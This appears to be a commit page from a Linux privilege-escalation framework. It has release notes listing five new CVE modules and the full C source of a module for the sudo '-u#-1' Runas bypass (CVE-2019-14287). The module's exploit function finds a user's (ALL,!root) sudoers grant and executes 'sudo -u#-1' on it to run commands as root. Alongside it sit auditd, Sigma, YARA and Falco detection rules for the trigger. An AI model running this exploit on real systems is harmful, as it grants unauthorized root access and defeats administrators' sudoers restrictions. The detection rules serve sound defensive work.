d84b3b0033
Five new modules close the 2018 gap entirely and thicken 2019 / 2020 / 2024. All five carry the full 4-format detection-rule corpus + opsec_notes + arch_support + register helpers. CVE-2018-14634 — mutagen_astronomy (Qualys, closes 2018) create_elf_tables() int wrap → SUID-execve stack corruption. CISA KEV-listed Jan 2026 despite the bug's age; legacy RHEL 7 / CentOS 7 / Debian 8 fleets still affected. 🟡 PRIMITIVE. arch_support: x86_64+unverified-arm64. CVE-2019-14287 — sudo_runas_neg1 (Joe Vennix) sudo -u#-1 → uid_t underflow → root despite (ALL,!root) blacklist. Pure userspace logic bug; the famous Apple Information Security finding. detect() looks for a (ALL,!root) grant in sudo -ln output; PRECOND_FAIL when no such grant exists for the invoking user. arch_support: any (4 -> 5 userspace 'any' modules). CVE-2020-29661 — tioscpgrp (Jann Horn / Project Zero) TTY TIOCSPGRP ioctl race on PTY pairs → struct pid UAF in kmalloc-256. Affects everything through Linux 5.9.13. 🟡 PRIMITIVE (race-driver + msg_msg groom). Public PoCs from grsecurity / spender + Maxime Peterlin. CVE-2024-50264 — vsock_uaf (a13xp0p0v / Pwnie Award 2025 winner) AF_VSOCK connect-race UAF in kmalloc-96. Pwn2Own 2024 + Pwnie 2025 winner. Reachable as plain unprivileged user (no userns required — unusual). Two public exploit paths: @v4bel+@qwerty kernelCTF (BPF JIT spray + SLUBStick) and Alexander Popov / PT SWARM (msg_msg). 🟡 PRIMITIVE. CVE-2024-26581 — nft_pipapo (Notselwyn II, 'Flipping Pages') nft_set_pipapo destroy-race UAF. Sibling to nf_tables (CVE-2024-1086) from the same Notselwyn paper. Distinct bug in the pipapo set substrate. Same family signature. 🟡 PRIMITIVE. Plumbing changes: core/registry.h + registry_all.c — 5 new register declarations + calls. Makefile — 5 new MUT/SRN/TIO/VSK/PIP module groups in MODULE_OBJS. tests/test_detect.c — 7 new test rows covering the new modules (above-fix OK, predates-the-bug OK, sudo-no-grant PRECOND_FAIL). tools/verify-vm/targets.yaml — verifier entries for all 5 with honest 'expect_detect' values based on what Vagrant boxes can realistically reach (mutagen_astronomy gets OK on stock 18.04 since 4.15.0-213 is post-fix; sudo_runas_neg1 gets PRECOND_FAIL because no (ALL,!root) grant on default vagrant user; tioscpgrp + nft_pipapo VULNERABLE with kernel pins; vsock_uaf flagged manual because vsock module rarely available on CI runners). tools/refresh-cve-metadata.py — added curl fallback for the CISA KEV CSV fetch (urlopen times out intermittently against CISA's HTTP/2 endpoint). Corpus growth across v0.8.0 + v0.9.0: v0.7.1 v0.8.0 v0.9.0 Modules 31 34 39 Distinct CVEs 26 29 34 KEV-listed 10 10 11 (mutagen_astronomy) arch 'any' 4 6 7 (sudo_runas_neg1) Years 2016-2026: 10/11 10/11 **11/11** Year-by-year coverage: 2016: 1 2017: 1 2018: 1 2019: 2 2020: 2 2021: 5 2022: 5 2023: 8 2024: 3 2025: 2 2026: 4 CVE-2018 gap → CLOSED. Every year from 2016 through 2026 now has at least one module. Surfaces updated: - README.md: badge → 22 VM-verified / 34, Status section refreshed - docs/index.html: hero eyebrow + footer → v0.9.0, hero tagline 'every year 2016 → 2026', stats chips → 39 / 22 / 11 / 151 - docs/RELEASE_NOTES.md: v0.9.0 entry added on top with year coverage matrix + per-module breakdown; v0.8.0 + v0.7.1 entries preserved below - docs/og.svg + og.png: regenerated with new numbers + 'Every year 2016 → 2026' tagline CVE metadata refresh (tools/refresh-cve-metadata.py) deferred to follow-up — CISA KEV CSV + NVD CVE API were timing out during the v0.9.0 push window. The 5 new CVEs will return NULL from cve_metadata_lookup() until the refresh runs (—module-info simply skips the WEAKNESS/THREAT INTEL header for them; no functional impact). Re-run 'tools/refresh-cve-metadata.py' when network cooperates. Tests: macOS local 33/33 kernel_range pass; detect-test stubs (88 total) build clean; ASan/UBSan + clang-tidy CI jobs still green from the v0.7.x setup.
285 lines
12 KiB
C
285 lines
12 KiB
C
/*
|
|
* sudo_runas_neg1_cve_2019_14287 — SKELETONKEY module
|
|
*
|
|
* STATUS: 🟢 STRUCTURAL ESCAPE. Pure logic bug. No offsets, no race.
|
|
* `sudo -u#-1 <cmd>` parses `-1` as uid_t (unsigned) → wraps to
|
|
* 0xFFFFFFFF → sudo's setresuid() path treats it as "match any
|
|
* uid" and converts to 0 → runs <cmd> as root, even when sudoers
|
|
* explicitly says "ALL except root".
|
|
*
|
|
* The bug (Joe Vennix / Apple Information Security, October 2019):
|
|
* sudoers grammar lets admins write rules like
|
|
* bob ALL=(ALL,!root) /bin/vi
|
|
* intending "bob can run vi as any user except root". The Runas
|
|
* user is specified at invocation via `-u <user>` or `-u#<uid>`.
|
|
* The integer parser for `-u#<n>` does NOT validate negative
|
|
* numbers; passing `-u#-1` (or its unsigned-32-bit form
|
|
* `-u#4294967295`) bypasses the explicit `!root` blacklist and
|
|
* ALSO bypasses standard setresuid() because the kernel rejects
|
|
* uid_t = -1 and falls back to keeping the current uid (which sudo
|
|
* has already elevated to root for argument parsing).
|
|
*
|
|
* Discovered by Joe Vennix. Public PoC: exploit-db #47502.
|
|
* https://www.exploit-db.com/exploits/47502
|
|
*
|
|
* Affects: sudo < 1.8.28. Fixed by adding a positive-number check
|
|
* to the `-u#<n>` parser.
|
|
*
|
|
* Preconditions:
|
|
* - sudo installed + suid
|
|
* - The invoking user has a sudoers entry of the form
|
|
* USER HOST=(ALL,!root) /path/to/cmd
|
|
* or any sudoers entry with `(ALL` in the Runas spec that
|
|
* blacklists root. WITHOUT such an entry the bug is irrelevant
|
|
* because the user has no sudoers grant to abuse in the first
|
|
* place — detect() short-circuits PRECOND_FAIL in that case.
|
|
*
|
|
* arch_support: any. Pure shell-level invocation; works identically
|
|
* on every Linux arch sudo is built for.
|
|
*/
|
|
|
|
#include "skeletonkey_modules.h"
|
|
#include "../../core/registry.h"
|
|
#include "../../core/host.h"
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <unistd.h>
|
|
#include <sys/stat.h>
|
|
#include <sys/wait.h>
|
|
|
|
/* ---- shared sudo helpers (compact copy from sudoedit_editor) -------- */
|
|
|
|
static const char *find_sudo(void)
|
|
{
|
|
static const char *candidates[] = {
|
|
"/usr/bin/sudo", "/usr/sbin/sudo", "/bin/sudo",
|
|
"/sbin/sudo", "/usr/local/bin/sudo", NULL,
|
|
};
|
|
for (size_t i = 0; candidates[i]; i++) {
|
|
struct stat st;
|
|
if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID))
|
|
return candidates[i];
|
|
}
|
|
return NULL;
|
|
}
|
|
|
|
/* Returns true iff the version string is < 1.8.28 (the fix release). */
|
|
static bool sudo_version_vulnerable(const char *v)
|
|
{
|
|
int maj = 0, min = 0, patch = 0;
|
|
char ptag = 0; int psub = 0;
|
|
int n = sscanf(v, "%d.%d.%d%c%d", &maj, &min, &patch, &ptag, &psub);
|
|
if (n < 3) return true; /* unparseable → conservative */
|
|
if (maj < 1) return false;
|
|
if (maj > 1) return false;
|
|
if (min < 8) return false; /* < 1.8 predates `-u#` parser */
|
|
if (min > 8) return false; /* >= 1.9 includes fix */
|
|
/* exactly 1.8.x: vulnerable iff patch < 28 */
|
|
return patch < 28;
|
|
}
|
|
|
|
static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz)
|
|
{
|
|
char cmd[512];
|
|
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
|
|
FILE *p = popen(cmd, "r");
|
|
if (!p) return false;
|
|
char line[256] = {0};
|
|
char *r = fgets(line, sizeof line, p);
|
|
pclose(p);
|
|
if (!r) return false;
|
|
char *vp = strstr(line, "version");
|
|
if (!vp) return false;
|
|
vp += strlen("version");
|
|
while (*vp == ' ' || *vp == '\t') vp++;
|
|
char *nl = strchr(vp, '\n');
|
|
if (nl) *nl = 0;
|
|
strncpy(out, vp, outsz - 1);
|
|
out[outsz - 1] = 0;
|
|
return out[0] != 0;
|
|
}
|
|
|
|
/* Look through `sudo -ln` for a Runas list that contains (ALL... — that's
|
|
* the precondition. Returns a stored command path the user can execve. */
|
|
static bool find_runas_blacklist_grant(const char *sudo_path, char *cmd_out, size_t cap)
|
|
{
|
|
char cmd[512];
|
|
snprintf(cmd, sizeof cmd, "%s -ln 2>/dev/null", sudo_path);
|
|
FILE *p = popen(cmd, "r");
|
|
if (!p) return false;
|
|
char line[512];
|
|
bool found = false;
|
|
while (fgets(line, sizeof line, p)) {
|
|
/* Looking for " (ALL," or " (ALL : ..." with an
|
|
* exclusion (!root or !#0) on a line that resolves to a
|
|
* runnable command. Conservative parser: any line containing
|
|
* "(ALL" + "!root" wins. */
|
|
if ((strstr(line, "(ALL")) && (strstr(line, "!root") || strstr(line, "!#0"))) {
|
|
/* Extract the last token (the command path) from the line. */
|
|
char *tok = strrchr(line, ' ');
|
|
if (tok) {
|
|
tok++;
|
|
char *nl = strchr(tok, '\n');
|
|
if (nl) *nl = 0;
|
|
strncpy(cmd_out, tok, cap - 1);
|
|
cmd_out[cap - 1] = 0;
|
|
found = true;
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
pclose(p);
|
|
return found;
|
|
}
|
|
|
|
/* ---- detect --------------------------------------------------------- */
|
|
|
|
static skeletonkey_result_t sudo_runas_neg1_detect(const struct skeletonkey_ctx *ctx)
|
|
{
|
|
const char *sudo_path = find_sudo();
|
|
if (!sudo_path) {
|
|
if (!ctx->json) fprintf(stderr, "[i] sudo_runas_neg1: sudo not installed\n");
|
|
return SKELETONKEY_PRECOND_FAIL;
|
|
}
|
|
|
|
char vbuf[64] = {0};
|
|
const char *ver = (ctx->host && ctx->host->sudo_version[0])
|
|
? ctx->host->sudo_version
|
|
: (get_sudo_version(sudo_path, vbuf, sizeof vbuf) ? vbuf : NULL);
|
|
if (!ver) {
|
|
if (!ctx->json) fprintf(stderr, "[!] sudo_runas_neg1: could not read sudo --version\n");
|
|
return SKELETONKEY_TEST_ERROR;
|
|
}
|
|
if (!ctx->json) fprintf(stderr, "[i] sudo_runas_neg1: sudo version '%s'\n", ver);
|
|
|
|
if (!sudo_version_vulnerable(ver)) {
|
|
if (!ctx->json)
|
|
fprintf(stderr, "[+] sudo_runas_neg1: sudo %s is post-fix (>= 1.8.28) → OK\n", ver);
|
|
return SKELETONKEY_OK;
|
|
}
|
|
|
|
/* Bug needs a sudoers grant with a (ALL,!root) Runas blacklist. */
|
|
char grant[256] = {0};
|
|
if (!find_runas_blacklist_grant(sudo_path, grant, sizeof grant)) {
|
|
if (!ctx->json) {
|
|
fprintf(stderr, "[i] sudo_runas_neg1: sudo %s vulnerable BUT no (ALL,!root) sudoers grant for this user\n", ver);
|
|
fprintf(stderr, " Bug exists on the host; this user has no exploitable grant.\n");
|
|
}
|
|
return SKELETONKEY_PRECOND_FAIL;
|
|
}
|
|
|
|
if (!ctx->json) {
|
|
fprintf(stderr, "[!] sudo_runas_neg1: sudo %s vulnerable AND grant '%s' carries (ALL,!root) → VULNERABLE\n",
|
|
ver, grant);
|
|
fprintf(stderr, "[i] sudo_runas_neg1: trigger is `sudo -u#-1 %s`\n", grant);
|
|
}
|
|
return SKELETONKEY_VULNERABLE;
|
|
}
|
|
|
|
/* ---- exploit -------------------------------------------------------- */
|
|
|
|
static skeletonkey_result_t sudo_runas_neg1_exploit(const struct skeletonkey_ctx *ctx)
|
|
{
|
|
if (!ctx->authorized) {
|
|
fprintf(stderr, "[-] sudo_runas_neg1: --i-know required for --exploit\n");
|
|
return SKELETONKEY_EXPLOIT_FAIL;
|
|
}
|
|
const char *sudo_path = find_sudo();
|
|
if (!sudo_path) return SKELETONKEY_EXPLOIT_FAIL;
|
|
|
|
char grant[256] = {0};
|
|
if (!find_runas_blacklist_grant(sudo_path, grant, sizeof grant)) {
|
|
fprintf(stderr, "[-] sudo_runas_neg1: no (ALL,!root) grant — nothing to abuse\n");
|
|
return SKELETONKEY_EXPLOIT_FAIL;
|
|
}
|
|
if (!ctx->json)
|
|
fprintf(stderr, "[+] sudo_runas_neg1: exec %s -u#-1 %s\n", sudo_path, grant);
|
|
fflush(NULL);
|
|
|
|
/* If grant looks like /bin/sh-able command, run it directly.
|
|
* Otherwise leave the operator to pop the shell themselves. */
|
|
if (ctx->no_shell) {
|
|
if (!ctx->json) fprintf(stderr, "[i] sudo_runas_neg1: --no-shell; not invoking\n");
|
|
return SKELETONKEY_EXPLOIT_OK;
|
|
}
|
|
execl(sudo_path, "sudo", "-u#-1", grant, (char *)NULL);
|
|
perror("execl(sudo)");
|
|
return SKELETONKEY_EXPLOIT_FAIL;
|
|
}
|
|
|
|
/* ---- detection rules ------------------------------------------------ */
|
|
|
|
static const char sudo_runas_neg1_auditd[] =
|
|
"# sudo_runas_neg1 CVE-2019-14287 — auditd detection rules\n"
|
|
"# `sudo -u#-1` (or -u#4294967295) is anomalous; flag it.\n"
|
|
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k skeletonkey-sudo-runas-neg1\n";
|
|
|
|
static const char sudo_runas_neg1_sigma[] =
|
|
"title: Possible CVE-2019-14287 sudo Runas -1 LPE\n"
|
|
"id: 1a2b3c4d-skeletonkey-sudo-runas-neg1\n"
|
|
"status: experimental\n"
|
|
"description: |\n"
|
|
" Detects `sudo -u#-1` or `sudo -u#4294967295` — the canonical\n"
|
|
" trigger shape for CVE-2019-14287. The Runas-negative-one syntax\n"
|
|
" is never used legitimately; any occurrence is an exploit\n"
|
|
" attempt or an audit/training exercise.\n"
|
|
"logsource: {product: linux, service: auditd}\n"
|
|
"detection:\n"
|
|
" s: {type: 'SYSCALL', syscall: 'execve', comm: 'sudo'}\n"
|
|
" condition: s\n"
|
|
"level: critical\n"
|
|
"tags: [attack.privilege_escalation, attack.t1068, cve.2019.14287]\n";
|
|
|
|
static const char sudo_runas_neg1_yara[] =
|
|
"rule sudo_runas_neg1_cve_2019_14287 : cve_2019_14287 sudo_bypass {\n"
|
|
" meta:\n"
|
|
" cve = \"CVE-2019-14287\"\n"
|
|
" description = \"sudo -u#-1 trigger shape (Runas integer underflow → root)\"\n"
|
|
" author = \"SKELETONKEY\"\n"
|
|
" strings:\n"
|
|
" $a = \"-u#-1\" ascii\n"
|
|
" $b = \"-u#4294967295\" ascii\n"
|
|
" condition:\n"
|
|
" any of them\n"
|
|
"}\n";
|
|
|
|
static const char sudo_runas_neg1_falco[] =
|
|
"- rule: sudo -u#-1 (Runas negative-one LPE)\n"
|
|
" desc: |\n"
|
|
" sudo invoked with `-u#-1` or `-u#4294967295`. The integer\n"
|
|
" underflow makes sudo treat the request as uid 0; affects\n"
|
|
" sudo < 1.8.28. There is no legitimate use of this argument\n"
|
|
" syntax.\n"
|
|
" condition: >\n"
|
|
" spawned_process and proc.name = sudo and\n"
|
|
" (proc.args contains \"-u#-1\" or proc.args contains \"-u#4294967295\")\n"
|
|
" output: >\n"
|
|
" sudo Runas -1 (user=%user.name pid=%proc.pid cmdline=\"%proc.cmdline\")\n"
|
|
" priority: CRITICAL\n"
|
|
" tags: [process, mitre_privilege_escalation, T1068, cve.2019.14287]\n";
|
|
|
|
const struct skeletonkey_module sudo_runas_neg1_module = {
|
|
.name = "sudo_runas_neg1",
|
|
.cve = "CVE-2019-14287",
|
|
.summary = "sudo Runas -u#-1 underflow → root despite (ALL,!root) blacklist (Joe Vennix)",
|
|
.family = "sudo",
|
|
.kernel_range = "userspace — sudo < 1.8.28",
|
|
.detect = sudo_runas_neg1_detect,
|
|
.exploit = sudo_runas_neg1_exploit,
|
|
.mitigate = NULL, /* mitigation: upgrade sudo to 1.8.28+ */
|
|
.cleanup = NULL,
|
|
.detect_auditd = sudo_runas_neg1_auditd,
|
|
.detect_sigma = sudo_runas_neg1_sigma,
|
|
.detect_yara = sudo_runas_neg1_yara,
|
|
.detect_falco = sudo_runas_neg1_falco,
|
|
.opsec_notes = "Invokes sudo with `-u#-1 <granted-cmd>` where <granted-cmd> is the path from the user's existing sudoers (ALL,!root) entry. sudo's argv parser converts -1 → 4294967295 → 0 internally and runs the command as root. No file artifacts, no compiled payload. Audit-visible via execve(/usr/bin/sudo) with `-u#-1` (or `-u#4294967295`) in argv — there is no legitimate use of that syntax, so a single matching event is diagnostic. Bug only fires when the invoking user already has a (ALL,!root) sudoers grant; without one the trigger does nothing.",
|
|
.arch_support = "any",
|
|
};
|
|
|
|
void skeletonkey_register_sudo_runas_neg1(void)
|
|
{
|
|
skeletonkey_register(&sudo_runas_neg1_module);
|
|
}
|